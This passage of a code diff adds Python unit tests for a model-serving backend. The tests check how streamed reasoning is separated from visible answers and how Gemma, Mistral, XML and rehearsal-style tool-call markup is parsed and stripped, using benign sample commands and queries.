+            monitor.append(fv)
+            order.append("visible")
+
+    for event in events:
+        etype = event["type"]
+        if etype == "status":
+            if not event["text"]:
+                _flush()
+                prev_text = ""
+                extractor = _ResponsesReasoningExtractor(
+                    parse_think_markers = True, reasoning_prefilled = prefilled
+                )
+            continue
+        if etype in ("tool_start", "tool_end"):
+            if etype == "tool_start":
+                _flush()
+                prev_text = ""
+                extractor = _ResponsesReasoningExtractor(
+                    parse_think_markers = True, reasoning_prefilled = prefilled
+                )
+                tool_starts.append(event)
+                order.append("tool_start")
+            continue
+        clean = _strip_tool_xml_for_display(event.get("text", ""), auto_heal_tool_calls = True)
+        new_text = clean[len(prev_text) :]
+        prev_text = clean
+        if not new_text:
+            continue
+        r, v = extractor.feed(new_text)
+        if r:
+            reasoning_deltas.append(r)
+            order.append("reasoning")
+        if v:
+            visible_deltas.append(v)
+            monitor.append(v)
+            order.append("visible")
+    _flush()
+    return {
+        "reasoning": "".join(reasoning_deltas),
+        "visible": "".join(visible_deltas),
+        "monitor": "".join(monitor),
+        "tool_starts": tool_starts,
+        "order": order,
+    }
+
+
+def test_s1_plain_stream_splits_prefilled_reasoning():
+    # S1: plain/MLX single turn -> reasoning delta + visible delta; monitor visible-only.
+    events = [
+        {"type": "content", "text": "Let me compute 17*23"},
+        {"type": "content", "text": "Let me compute 17*23 = 391</think>The answer is 391."},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert out["reasoning"] == "Let me compute 17*23 = 391"
+    assert out["visible"] == "The answer is 391."
+    assert out["monitor"] == "The answer is 391."
+    assert "<think>" not in out["reasoning"] and "</think>" not in out["visible"]
+
+
+def test_s2_reasoning_flushed_before_tool_start():
+    # S2: reasoning streamed as reasoning_content, then flushed BEFORE tool_start.
+    events = [
+        {"type": "content", "text": "I should search"},
+        {"type": "content", "text": "I should search Sydney weather</think>"},
+        {"type": "tool_start", "tool_name": "web_search", "tool_call_id": "c0"},
+        {"type": "tool_end", "tool_name": "web_search", "tool_call_id": "c0"},
+        {"type": "status", "text": ""},
+        {"type": "content", "text": "Found it</think>Sydney is 21C today."},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    # Both turns' reasoning surfaced, answer only from turn 2.
+    assert "I should search Sydney weather" in out["reasoning"]
+    assert "Found it" in out["reasoning"]
+    assert out["visible"] == "Sydney is 21C today."
+    assert out["monitor"] == "Sydney is 21C today."
+    # Ordering: the pre-tool reasoning is emitted before the tool_start.
+    assert out["order"].index("reasoning") < out["order"].index("tool_start")
+
+
+def test_s3_extractor_resets_each_turn():
+    # S3: multi-turn -> the two turns' reasoning are distinct (fresh extractor each).
+    events = [
+        {"type": "content", "text": "turn1 thoughts</think>partial"},
+        {"type": "status", "text": ""},
+        {"type": "content", "text": "turn2 thoughts</think>final answer"},
+    ]
+    out = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert out["reasoning"] == "turn1 thoughtsturn2 thoughts"
+    assert out["visible"] == "partialfinal answer"
+
+
+def test_s4_harmony_full_tags_normal_mode():
+    # S4: gpt-oss / explicit-tag models use normal mode (prefilled=False).
+    events = [{"type": "content", "text": "<think>reasoning here</think>visible answer"}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["reasoning"] == "reasoning here"
+    assert out["visible"] == "visible answer"
+
+
+def test_s5_thinking_off_no_reasoning_deltas():
+    # S5: thinking disabled -> not prefilled, no </think>, all content is visible.
+    events = [{"type": "content", "text": "Just the plain answer, no thinking."}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["reasoning"] == ""
+    assert out["visible"] == "Just the plain answer, no thinking."
+    assert out["monitor"] == "Just the plain answer, no thinking."
+
+
+def test_s6_reasoning_effort_none_disables_prefill_for_enable_thinking_effort():
+    # GLM-5.2-style enable_thinking_effort: a request with reasoning_effort="none" (and
+    # enable_thinking omitted) disables thinking exactly like enable_thinking=False, so
+    # prefilled mode must be OFF. Otherwise the model emits no </think> and a plain
+    # answer is swallowed whole into reasoning_content, leaving the visible response
+    # empty (the exact bug: prefilled=True below eats the whole answer).
+    feats = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True}
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "none") is False
+    # Thinking on (effort level or default) still prefills.
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "high") is True
+    assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, None) is True
+    # An explicit enable_thinking=False also disables (unchanged).
+    assert _sf_reasoning_prefill_mode(feats, False, _THINK_TPL, "high") is False
+    # reasoning_always_on wins regardless of reasoning_effort.
+    always = {**feats, "reasoning_always_on": True}
+    assert _sf_reasoning_prefill_mode(always, None, _THINK_TPL, "none") is True
+    # Plain enable_thinking models (Qwen) have no "none" sentinel; unaffected.
+    plain = {"reasoning_style": "enable_thinking", "supports_reasoning": True}
+    assert _sf_reasoning_prefill_mode(plain, None, _THINK_TPL, "none") is True
+
+    # End-to-end: with the corrected prefilled=False, a plain no-</think> answer is
+    # emitted as visible content rather than swallowed into the thinking drawer.
+    events = [{"type": "content", "text": "The capital of France is Paris."}]
+    out = _replay_sf_reasoning_stream(events, prefilled = False)
+    assert out["visible"] == "The capital of France is Paris."
+    assert out["reasoning"] == ""
+    # The buggy prefilled=True path is what swallowed the whole answer (guard the delta).
+    swallowed = _replay_sf_reasoning_stream(events, prefilled = True)
+    assert swallowed["visible"] == ""
+    assert swallowed["reasoning"] == "The capital of France is Paris."
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index d61c0b389c..a8546b82c4 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -10,6 +10,7 @@ calls, tool-result feedback, bad-JSON heal, duplicate-call short-circuit,
 ``__IMAGES__`` sentinel stripping, executor errors, cancel, and the iteration cap.
 """
 
+import json
 import threading
 from typing import cast
 
@@ -62,6 +63,51 @@ class TestParser:
         assert parse_tool_calls_from_text(text)[0]["function"]["name"] == "python"
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
 
+    def test_gemma_native_tool_call(self):
+        text = '<|tool_call>call:terminal{command:"ls -la",workdir:"."}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "terminal"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"command": "ls -la", "workdir": "."}
+
+    def test_gemma_native_tool_call_template_quotes(self):
+        text = '<|tool_call>call:web_search{query:<|"|>openai news<|"|>}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        assert json.loads(result[0]["function"]["arguments"]) == {"query": "openai news"}
+
+    def test_gemma_native_tool_call_template_quotes_escape_backslashes(self):
+        text = r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "ls"
+        assert json.loads(result[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"}
+
+    def test_gemma_native_tool_call_hyphenated_argument_name(self):
+        text = '<|tool_call>call:mcp__srv__create-issue{issue-title:"Bug report"}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__create-issue"
+        assert json.loads(result[0]["function"]["arguments"]) == {"issue-title": "Bug report"}
+
+    def test_gemma_native_tool_call_keeps_braces_inside_string_value(self):
+        text = '<|tool_call>call:terminal{command:"echo {foo:bar}"}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "terminal"
+        assert json.loads(result[0]["function"]["arguments"]) == {"command": "echo {foo:bar}"}
+
+    def test_gemma_native_tool_call_bare_string_values(self):
+        text = "<|tool_call>call:get_weather{location:Tokyo,unit:celsius}<tool_call|>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "location": "Tokyo",
+            "unit": "celsius",
+        }
+
     def test_xml_function_call(self):
         text = "<function=python><parameter=code>print('hi')</parameter></function>"
         result = parse_tool_calls_from_text(text)
@@ -69,6 +115,22 @@ class TestParser:
         assert result[0]["function"]["name"] == "python"
         assert "print('hi')" in result[0]["function"]["arguments"]
 
+    def test_xml_param_preserves_leading_indentation(self):
+        import json
+
+        # Only the wrapping newline is trimmed; code-argument indentation survives.
+        text = (
+            "<function=python><parameter=code>\n"
+            "    indented = 1\n"
+            "    more\n"
+            "</parameter></function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "code": "    indented = 1\n    more"
+        }
+
     def test_xml_unclosed(self):
         # Closing tags omitted; parser must still extract the value.
         text = "<function=terminal><parameter=command>ls -la"
@@ -92,6 +154,20 @@ class TestParser:
         assert len(result) == 1
         assert "print('hi')" in result[0]["function"]["arguments"]
 
+    def test_xml_param_preserves_leading_indentation(self):
+        # Only the wrapping newline is trimmed, so code-argument indentation survives (str.strip() destroyed it).
+        text = (
+            "<function=python><parameter=code>\n"
+            "    indented = 1\n"
+            "    more\n"
+            "</parameter></function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "code": "    indented = 1\n    more"
+        }
+
     def test_function_signal_inside_parameter_is_literal(self):
         text = (
             "<function=python>"
@@ -121,7 +197,10 @@ class TestParser:
 
     def test_has_tool_signal(self):
         assert has_tool_signal("blah <tool_call> x")
+        assert has_tool_signal("blah <|tool_call>call:terminal")
         assert has_tool_signal("hi <function=foo>...")
+        assert has_tool_signal("ok [TOOL_CALLS]web_search{...")
+        assert has_tool_signal("fine python[ARGS]{...")
         assert not has_tool_signal("hello world")
 
     def test_render_html_start_detector_uses_first_tool(self):
@@ -136,9 +215,58 @@ class TestParser:
             '<tool_call>{"name":"python","arguments":{"code":"<function=render_html>"}}'
         )
 
+    def test_render_html_start_detector_covers_mistral_and_rehearsal_forms(self):
+        # The provisional render-html card must fire for bracket-tag forms too, not only XML.
+        assert _detect_render_html_tool_start('[TOOL_CALLS]render_html{"code":"<html>"}')
+        assert _detect_render_html_tool_start('[TOOL_CALLS]render_html[ARGS]{"code":"x"}')
+        assert _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"name":"render_html","arguments":{}}]'
+        )
+        assert _detect_render_html_tool_start('render_html[ARGS]{"code":"<html>"}')
+        # A different first tool (or a prose mention with no JSON body) must not fire.
+        assert not _detect_render_html_tool_start('[TOOL_CALLS]web_search{"q":"x"}')
+        assert not _detect_render_html_tool_start('web_search[ARGS]{"q":"x"}')
+        assert not _detect_render_html_tool_start('python[ARGS]{"code":"render_html[ARGS]{}"}')
+        assert not _detect_render_html_tool_start("use render_html[ARGS] to render")
+
+    def test_render_html_start_detector_skips_think_block_rehearsal(self):
+        # A render_html rehearsed inside think must not fire the card; the outside-think call decides.
+        assert not _detect_render_html_tool_start(
+            '<think>draft render_html[ARGS]{"code":"x"}</think>python[ARGS]{"code":"print(1)"}'
+        )
+        assert not _detect_render_html_tool_start(
+            '[THINK]render_html[ARGS]{"code":"x"}[/THINK]web_search[ARGS]{"q":"y"}'
+        )
+        # A real render_html AFTER a rehearsed non-render_html inside think still fires.
+        assert _detect_render_html_tool_start(
+            '<think>web_search[ARGS]{"q":"x"}</think>render_html[ARGS]{"code":"<html>"}'
+        )
+        # A render_html rehearsed inside think with no real call after does not fire.
+        assert not _detect_render_html_tool_start('<think>render_html[ARGS]{"code":"x"}</think>')
+
+    def test_render_html_start_detector_reads_top_level_array_name(self):
+        # Array form: the name is the object's top-level ``"name"``, not an argument key.
+        assert not _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"arguments":{"name":"render_html"},"name":"python"}]'
+        )
+        assert _detect_render_html_tool_start(
+            '[TOOL_CALLS] [{"arguments":{"name":"python"},"name":"render_html"}]'
+        )
+
     def test_strip_markup_closed(self):
         text = "before <tool_call>{}</tool_call> after"
         assert strip_tool_markup(text) == "before  after"
+        text = 'before <|tool_call>call:terminal{command:"ls"}<tool_call|> after'
+        assert strip_tool_markup(text) == "before  after"
+
+    def test_strip_named_mistral_call_consumes_trailing_eos(self):
+        # The named ``[TOOL_CALLS]name{json}`` shape must eat the optional
+        # trailing ``</s>`` like the array shape, so the EOS marker is not left
+        # behind as visible content.
+        text = '[TOOL_CALLS]web_search{"query":"cats"}</s>'
+        assert strip_tool_markup(text) == ""
+        text = '[TOOL_CALLS]web_search{"query":"cats"}</s> and then'
+        assert strip_tool_markup(text) == " and then"
 
     def test_strip_markup_unclosed_final(self):
         text = "before <tool_call>{partial"
@@ -146,6 +274,7 @@ class TestParser:
         assert strip_tool_markup(text, final = True) == "before"
         # Without final=True the unclosed run is preserved.
         assert "partial" in strip_tool_markup(text)
+        assert strip_tool_markup("before <|tool_call>call:terminal{", final = True) == "before"
 
     def test_streaming_strip_respects_disabled_healing(self):
         raw = 'before <tool_call>{"name":"web_search"'
@@ -164,6 +293,849 @@ class TestParser:
             == "before "
         )
 
+    # Mistral [TOOL_CALLS] bracket-tag.
+
+    def test_mistral_bracket_basic(self):
+        # Devstral / Mistral-Small fallback when bypassing native FC.
+        text = '[TOOL_CALLS]web_search{"query":"weather"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        assert isinstance(result[0]["function"]["arguments"], str)
+        assert "weather" in result[0]["function"]["arguments"]
+
+    def test_rehearsal_inside_unclosed_think_is_ignored(self):
+        """Rehearsal-shaped markup inside an unclosed <think> block must
+        not be executed as a real tool call. Mid-stream the </think>
+        tag has not arrived yet, so the strip regex has to accept
+        end-of-string as a terminator. Regression for the Gemini
+        high-severity flag on this PR."""
+        text = (
+            "<think>I should call web_search[ARGS]" '{"query":"weather"} next to find the answer.'
+        )
+        result = parse_tool_calls_from_text(text)
+        # Inside an unclosed think block no calls are yielded.
+        assert result == []
+
+    def test_rehearsal_inside_unclosed_bracket_think_is_ignored(self):
+        text = "[THINK]planning to use python[ARGS]" '{"code":"print(1)"} but not yet.'
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_rehearsal_after_closed_think_still_parsed(self):
+        text = "<think>planning</think>" 'python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_rehearsal_inside_prefilled_think_is_ignored(self):
+        """Reasoning models (Qwen3.5 enable_thinking) open <think> in the PROMPT,
+        so generated content starts inside the thought and carries only a closing
+        </think>. A call rehearsed in that leading thought must be skipped, while a
+        real call after the close still fires."""
+        text = 'planning web_search[ARGS]{"query":"draft"}</think>python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_literal_close_think_in_leading_argument_not_prefill(self):
+        """A </think> literal inside a real leading call's arguments must not be
+        read as a prefilled-reasoning close (which would skip the call)."""
+        text = 'web_search[ARGS]{"query":"what is </think>"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_stray_close_after_real_call_not_treated_as_prefill(self):
+        """A real leading call followed by a stray </think> and no further call is
+        a normal answer, not prefilled reasoning; the call must still fire (the
+        virtual span only applies when a real call follows the close)."""
+        text = 'Now web_search[ARGS]{"query":"x"}</think> answer'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_mistral_bracket_with_whitespace(self):
+        # Optional whitespace (incl. newlines) between the name and the opening brace.
+        text = '[TOOL_CALLS]python  \n  {"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+        assert "print(1)" in result[0]["function"]["arguments"]
+
+    def test_mistral_bracket_nested_json(self):
+        # Brace-balance scan handles nested objects and braces inside string literals.
+        text = "[TOOL_CALLS]web_search" '{"query":"a {nested} brace","opts":{"limit":5}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        import json as _json
+
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args["query"] == "a {nested} brace"
+        assert args["opts"] == {"limit": 5}
+
+    def test_mistral_bracket_with_prose(self):
+        # Bracket-tag surrounded by prose is still recognised.
+        text = (
+            "Sure, I will look that up.\n"
+            '[TOOL_CALLS]web_search{"query":"weather"}\n'
+            "Calling now."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_mistral_bracket_bad_json_dropped(self):
+        text = "[TOOL_CALLS]web_search{not valid}"
+        result = parse_tool_calls_from_text(text)
+        # No usable tool call; callers fall back to text.
+        assert result == []
+
+    def test_mistral_bracket_object_with_array_value(self):
+        # Args must be a JSON object; a dict wrapping an array value is accepted.
+        text = '[TOOL_CALLS]web_search{"opts":[1,2,3]}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    # Rehearsal syntax name[ARGS]{json}.
+
+    def test_rehearsal_basic(self):
+        text = 'python[ARGS]{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+        assert "print(1)" in result[0]["function"]["arguments"]
+
+    def test_rehearsal_with_prose(self):
+        text = "I should call the python tool. Like this: " 'python[ARGS]{"code":"x = 1"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_rehearsal_bad_json_dropped(self):
+        text = "python[ARGS]{not valid json}"
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_mistral_bracket_hyphenated_mcp_name(self):
+        # Dashed MCP names must be captured whole, not truncated at the first dash.
+        text = '[TOOL_CALLS]mcp__srv__list-issues{"q":"x"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__list-issues"
+
+    def test_rehearsal_hyphenated_mcp_name(self):
+        text = 'mcp__srv__list-issues[ARGS]{"q":"x"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__list-issues"
+
+    def test_streaming_strip_removes_partial_bracket_marker(self):
+        # A bracket tag streamed before its opening brace must strip on the final pass, not leak.
+        assert strip_tool_markup("answer [TOOL_CALLS]web_search", final = True) == "answer"
+        assert strip_tool_markup("text python[ARGS]", final = True) == "text"
+        # Non-final must keep the in-progress tag buffered (not yet stripped).
+        partial = "answer [TOOL_CALLS]web_search"
+        assert strip_tool_markup(partial, final = False) == partial
+
+    def test_strip_removes_two_level_nested_bracket_call_keeps_prose(self):
+        # Two-level-nested args must be removed whole; the balanced scan handles any depth.
+        text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after'
+        assert strip_tool_markup(text, final = False) == "before  after"
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_strip_removes_call_with_literal_think_in_argument(self):
+        # A literal think block inside arguments strips with the call, not as a reasoning block.
+        text = (
+            '<tool_call>{"name":"write","arguments":'
+            '{"text":"compare <think> and </think> tags"}}</tool_call>'
+        )
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_strip_preserves_real_think_but_strips_call_with_literal_think(self):
+        text = (
+            "<think>planning</think> ok "
+            '<tool_call>{"name":"w","arguments":{"t":"<think>x</think>"}}</tool_call> done'
+        )
+        out = strip_tool_markup(text, final = True)
+        assert "<think>planning</think>" in out
+        assert "<tool_call>" not in out and '"name"' not in out
+        assert "ok" in out and "done" in out
+
+    def test_prose_mentioning_args_marker_is_not_truncated(self):
+        # ``foo[ARGS] to the template`` is prose; the catch-all must not delete the sentence.
+        text = "Please pass foo[ARGS] to the template and continue reading."
+        assert strip_tool_markup(text, final = True) == text
+
+    def test_streaming_strip_handles_mistral_v11_call_id_args(self):
+        # The streaming strip uses the regex patterns directly, so they must cover the v11
+        # [CALL_ID]/[ARGS] metadata (aligned with the parser).
+        raw = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after'
+        out = strip_tool_markup_streaming(raw)
+        assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out
+        assert "before" in out and "after" in out
+
+    # <think> pre-strip.
+
+    def test_think_block_stripped_before_xml(self):
+        # The think block is stripped before matching so the post-thinking call is recognised.
+        text = (
+            "<think>I will use web_search to find the weather.</think>"
+            '<tool_call>{"name":"web_search","arguments":{"query":"sf"}}</tool_call>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_think_block_stripped_before_bracket_tag(self):
+        text = (
+            "<think>Let me search for that.</think>\n" '[TOOL_CALLS]web_search{"query":"weather"}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_uppercase_think_tag_stripped(self):
+        # Some templates use [THINK]...[/THINK] instead of <think>.
+        text = "[THINK]planning my next call[/THINK]" '[TOOL_CALLS]python{"code":"print(1)"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "python"
+
+    def test_think_block_hides_inner_tool_call(self):
+        # A call mentioned inside think is a rehearsal; the wrapper strip removes the inner markup.
+        text = (
+            "<think>I might call "
+            '<tool_call>{"name":"web_search","arguments":{}}</tool_call> '
+            "but I am not sure</think>\n"
+            "Let me just answer directly."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_think_literal_inside_real_tool_argument_is_preserved(self):
+        # A real call whose argument contains a literal think tag must not be corrupted.
+        text = (
+            '<tool_call>{"name":"write","arguments":'
+            '{"text":"compare <think> and </think> tags"}}</tool_call>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["text"] == (
+            "compare <think> and </think> tags"
+        )
+
+    def test_bracket_tag_argument_with_think_literal_is_preserved(self):
+        text = '[TOOL_CALLS]search{"q":"explain [THINK] blocks"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["q"] == "explain [THINK] blocks"
+
+    def test_real_call_after_think_with_rehearsal_inside(self):
+        # A rehearsal inside <think> is skipped, but the real call after the close tag parses.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think>search[ARGS]{"q":"real"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"])["q"] == "real"
+
+    # XML takes precedence over bracket-tag.
+
+    def test_xml_wins_over_bracket(self):
+        # When a model emits both forms in one message, the XML form is canonical and wins.
+        text = (
+            '<tool_call>{"name":"primary","arguments":{}}</tool_call>'
+            '[TOOL_CALLS]secondary{"k":"v"}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "primary"
+
+    # Strip patterns include bracket-tag and rehearsal.
+
+    def test_strip_bracket_tag_closed(self):
+        text = 'before [TOOL_CALLS]web_search{"q":"hi"} after'
+        assert "[TOOL_CALLS]" not in strip_tool_markup(text)
+        assert "before" in strip_tool_markup(text)
+        assert "after" in strip_tool_markup(text)
+
+    def test_strip_rehearsal_closed(self):
+        text = 'prose python[ARGS]{"code":"x"} more prose'
+        cleaned = strip_tool_markup(text)
+        assert "[ARGS]" not in cleaned
+        assert "prose" in cleaned
+        assert "more prose" in cleaned
+
+    def test_strip_bracket_tag_unclosed_final(self):
+        text = 'before [TOOL_CALLS]web_search{"q":"part'
+        # Final-mode strip drops the trailing unclosed run.
+        cleaned = strip_tool_markup(text, final = True)
+        assert "TOOL_CALLS" not in cleaned
+        assert cleaned == "before"
+
+    # Canonical Mistral array, v11 [CALL_ID], unified multi-call (PR review fixes).
+
+    def test_mistral_canonical_array_is_parsed(self):
+        # Canonical multi-call array: every call must parse (was dropped then deleted to EOS).
+        text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}},{"name":"b","arguments":{"y":2}}]'
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["a", "b"]
+        assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+        assert json.loads(result[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_mistral_array_string_arguments_are_decoded(self):
+        # OpenAI-spec arguments arrive as a JSON string; decode to an object.
+        text = '[TOOL_CALLS] [{"name":"a","arguments":"{\\"x\\":1}"}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+
+    def test_mistral_array_scalar_string_argument_not_double_encoded(self):
+        # A bare scalar string argument in the Mistral array form must be kept
+        # raw, exactly like the <tool_call> path, so the downstream argument
+        # healer wraps ``weather`` into the single-string tool's key -- not
+        # ``"weather"`` with literal quotes from a redundant json.dumps.
+        array = parse_tool_calls_from_text(
+            '[TOOL_CALLS][{"name":"web_search","arguments":"weather"}]'
+        )
+        xml = parse_tool_calls_from_text(
+            '<tool_call>{"name":"web_search","arguments":"weather"}</tool_call>'
+        )
+        assert array[0]["function"]["arguments"] == xml[0]["function"]["arguments"] == "weather"
+        healed = _coerce_arguments(
+            array[0]["function"]["arguments"], heal = True, tool_name = "web_search"
+        )
+        assert healed == {"query": "weather"}
+
+    def test_mistral_array_strip_keeps_trailing_prose(self):
+        # The array form must be removed whole, not deleted to end-of-string.
+        text = 'answer [TOOL_CALLS] [{"name":"a","arguments":{}}] tail'
+        assert strip_tool_markup(text, final = True) == "answer  tail"
+
+    def test_mistral_and_rehearsal_in_one_message_both_parse(self):
+        # A Mistral call and a rehearsal call together: both must parse.
+        text = '[TOOL_CALLS]a{"x":1} then b[ARGS]{"y":2}'
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["a", "b"]
+
+    def test_mistral_v11_call_id_is_not_the_function_name(self):
+        # v11 shape: the function name is ``name``, never the opaque call-id token.
+        result = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[CALL_ID]abc123[ARGS]{"q":"x"}')
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "x"}
+        # v11 without a call-id parses the same name.
+        r2 = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[ARGS]{"q":"y"}')
+        assert r2[0]["function"]["name"] == "get_weather"
+
+    def test_strip_preserves_rehearsal_inside_think(self):
+        # A rehearsal inside <think> is reasoning; strip keeps it verbatim.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think> A'
+        out = strip_tool_markup(text, final = True)
+        assert out == text
+        assert "search[ARGS]" in out
+
+    def test_streaming_strip_preserves_rehearsal_inside_think(self):
+        # The streaming strip must also preserve a think rehearsal: a mid-stream strip shrinks
+        # then regrows the cumulative text (corrupts append-by-length consumers). Matches GGUF.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think> A'
+        assert strip_tool_markup_streaming(text) == text
+        assert strip_tool_markup_streaming(text, tool_protocol_active = True) == text
+        # An unclosed block during streaming is preserved too (the parser keeps it).
+        partial = '<think>plan: search[ARGS]{"q":"x"}'
+        assert strip_tool_markup_streaming(partial, tool_protocol_active = True) == partial
+
+    def test_streaming_strip_still_removes_real_call_outside_think(self):
+        # The think guard must not stop the streaming strip removing a call outside the block.
+        text = '<think>reason</think> web_search[ARGS]{"q":"x"}'
+        out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+        assert "web_search[ARGS]" not in out
+        assert "<think>reason</think>" in out
+
+    def test_strip_bracket_calls_is_linear(self):
+        # Many complete bracket calls must strip in ~linear time (was O(n^2) per match).
+        import time
+
+        text = '[TOOL_CALLS]f{"a":1}' * 4000  # ~80KB, 4000 complete calls
+        t0 = time.perf_counter()
+        out = strip_tool_markup(text, final = True)
+        elapsed = time.perf_counter() - t0
+        assert "[TOOL_CALLS]" not in out
+        assert elapsed < 1.0, f"strip took {elapsed * 1000:.0f}ms on 4000 bracket calls"
+
+    def test_streaming_strip_handles_nested_mistral_json(self):
+        # The non-greedy [TOOL_CALLS]name{...} pattern truncates nested JSON at the first }; the
+        # balanced helper must remove the whole call so no trailing brace leaks to the streaming ...
+        raw = 'ok [TOOL_CALLS]foo{"a":{"b":1}} tail'
+        out = strip_tool_markup_streaming(raw)
+        assert "[TOOL_CALLS]" not in out
+        assert "}" not in out
+        assert "ok " in out and "tail" in out
+
+    def test_streaming_strip_handles_nested_wrapperless_gemma(self):
+        # Same class of bug for the wrapper-less Gemma call:NAME{...} form with a
+        # nested object argument.
+        raw = "ok call:f{loc:{city:NYC},n:3} tail"
+        out = strip_tool_markup_streaming(raw)
+        assert "call:f" not in out
+        assert "}" not in out
+        assert "ok " in out and "tail" in out
+
+    def test_streaming_strip_keeps_prose_after_function_xml_with_literal_marker(self):
+        # A literal ``<function=...>`` in a value is data: the strip must close at the REAL
+        # ``</function>`` and keep trailing prose (the open-ended regex ate to EOF).
+        raw = (
+            "pref <function=python><parameter=code>"
+            'print("<function=x>")</parameter></function> tail'
+        )
+        assert strip_tool_markup_streaming(raw) == "pref  tail"
+        # Streaming and final strip agree on the visible text (final also trims).
+        assert strip_tool_markup_streaming(raw) == strip_tool_markup(raw, final = True)
+
+    def test_streaming_strip_drops_leading_magistral_reasoning(self):
